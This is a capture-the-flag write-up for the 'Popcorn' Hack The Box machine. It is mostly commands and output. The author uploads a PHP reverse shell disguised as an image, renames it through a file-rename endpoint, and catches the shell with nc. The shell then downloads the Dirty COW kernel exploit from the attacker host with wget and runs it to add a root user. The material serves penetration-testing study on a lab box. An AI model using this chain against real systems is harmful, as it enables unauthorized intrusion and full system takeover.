> For the complete documentation index, see [llms.txt](https://vinetsuicide.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vinetsuicide.gitbook.io/writeups/linux/easy-boxes/popcorn.md).

# Popcorn

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2F6CoixWuwQTQlV8DdGrRo%2FPopcorn.png?alt=media&amp;token=d13f91ad-f2c6-4163-9ba5-263acb267cc6" alt="" width="563"><figcaption><p>Popcorn</p></figcaption></figure>

### Recon

```bash
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 3e:c8:1b:15:21:15:50:ec:6e:63:bc:c5:6b:80:7b:38 (DSA)
|_  2048 aa:1f:79:21:b8:42:f4:8a:38:bd:b8:05:ef:1a:07:4d (RSA)
80/tcp open  http    Apache httpd 2.2.12
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

Added popcorn.htb to /etc/hosts.

lets enumerate a http service.

### HTTP

nothing on main page.

```bash
musor@kali:~/wu/popcorn$ ffuf -u http://popcorn.htb/FUZZ -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt                                                                                                               

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://popcorn.htb/FUZZ
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

index                   [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 116ms]
test                    [Status: 200, Size: 47398, Words: 2478, Lines: 655, Duration: 4749ms]
torrent                 [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 109ms]
                        [Status: 200, Size: 177, Words: 22, Lines: 5, Duration: 110ms]
rename                  [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 82ms]
:: Progress: [30000/30000] :: Job [1/1] :: 350 req/sec :: Duration: [0:01:18] :: Errors: 3 ::
```

navigating to /torrent, gives a torrent service page.

I can sign up and also upload a torrent image.

<figure><img src="https://1917368546-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fnw4r2mxNQ0V4AzmY89Pb%2Fuploads%2FOx0Tjb3YjiwwQaIVvrkd%2Fimage.png?alt=media&amp;token=155051ca-bba5-40f1-b7c1-93e9c9040c83" alt=""><figcaption></figcaption></figure>

### User Shell

I also can upload a screenshot, so lets try to upload a php reverse shell.

Service just accepts a png/jpg files. I will create a php reverse shell with extension of png.

My image is here, and with rename function, i can change a extension of this file, so lets try!

```bash
http://popcorn.htb/torrent/upload/e9653d4769e7375eb31da258584494d65516c2c0.png 
---
musor@kali:~/wu/popcorn$ curl http://popcorn.htb/rename/index.php?filename=/var/www/torrent/upload/e9653d4769e7375eb31da258584494d65516c2c0.png&newfilename=/var/www/torrent/upload/e9653d4769e7375eb31da258584494d65516c2c0.php
---
musor@kali:~/wu/popcorn$ curl http://popcorn.htb/torrent/upload/e9653d4769e7375eb31da258584494d65516c2c0.php
---
```

And BOOM! we got a shell, lets also upgrade it.

```bash
musor@kali:~/wu/popcorn$ nc -lnvp 9002               
listening on [any] 9002 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.10.6] 42838
SOCKET: Shell has connected! PID: 1998
ls
723bc28f9b6f924cca68ccdff96b6190566ca6b4.png
e9653d4769e7375eb31da258584494d65516c2c0.php
noss.png
which python3
which python
/usr/bin/python
python -c 'import pty;pty.spawn("/bin/bash")'
www-data@popcorn:/var/www/torrent/upload$ ^Z
zsh: suspended  nc -lnvp 9002
                                                                                                                                                                                                                                              
musor@kali:~/wu/popcorn$ stty raw -echo | fg
[1]  + continued  nc -lnvp 9002


www-data@popcorn:/var/www/torrent/upload$ export TERM=xterm
export TERM=xterm
```

### Privilege Escalation

OS is old, so I can use a kernel exploit to gain a root.

Im gonna use a Dirty Cow

```bash
musor@kali:~/wu/popcorn$ searchsploit dirty   
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
 Exploit Title                                                                                                                                                                                              |  Path
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (1)                                                                                                                                      | linux/dos/43199.c
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2)                                                                                                                                      | linux/dos/44305.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (SUID Method)                                                                                          | linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)                                                                                             | linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)                                                                                                                | linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)                                                                                          | linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)                                                                                                                 | linux/local/40611.c
Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)                                                                                                                                         | linux/local/50808.c
Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL                                                                                                                             | android/dos/46941.txt
Quick and Dirty Blog (qdblog) 0.4 - 'categories.php' Local File Inclusion                                                                                                                                   | php/webapps/4603.txt
Quick and Dirty Blog (qdblog) 0.4 - SQL Injection / Local File Inclusion                                                                                                                                    | php/webapps/3729.txt
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (1)                                                                                                                                         | linux/local/46361.py
snapd < 2.37 (Ubuntu) - 'dirty_sock' Local Privilege Escalation (2)                                                                                                                                         | linux/local/46362.py
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                                              
musor@kali:~/wu/popcorn$ searchsploit -m linux/local/40839.c  
  Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method)
      URL: https://www.exploit-db.com/exploits/40839
     Path: /usr/share/exploitdb/exploits/linux/local/40839.c
    Codes: CVE-2016-5195
 Verified: True
File Type: C source, ASCII text
Copied to: /home/musor/wu/popcorn/40839.c
```

So now we are going to transfer it.

```bash
www-data@popcorn:/tmp$ wget http://10.10.16.2:81/dirty.c
wget http://10.10.16.2:81/dirty.c
--2024-02-08 16:02:06--  http://10.10.16.2:81/dirty.c
Connecting to 10.10.16.2:81... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4814 (4.7K) [text/x-csrc]
Saving to: `dirty.c'

100%[======================================>] 4,814       --.-K/s   in 0.03s   

2024-02-08 16:02:07 (169 KB/s) - `dirty.c' saved [4814/4814]
```

Now Compile and execute.

```bash
www-data@popcorn:/tmp$ gcc -pthread dirty.c -o dirty -lcrypt
gcc -pthread dirty.c -o dirty -lcrypt
www-data@popcorn:/tmp$ chmod +x dirty
chmod +x dirty
www-data@popcorn:/tmp$ ./dirty
./dirty
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: pass

Complete line:
firefart:fijI1lDcvwk7k:0:0:pwned:/root:/bin/bash

mmap: b76ee000
madvise 0

ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'pass'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
www-data@popcorn:/tmp$ Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'pass'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
```

And we are root.

```bash
www-data@popcorn:/tmp$ su firefart
su firefart
Password: pass

firefart@popcorn:/tmp# cd /root
cd /root
firefart@popcorn:~# ls
ls
root.txt
firefart@popcorn:~# cat root.txt
cat root.txt
75fa43a44ee270611790aeb46379c2ef
```

root.txt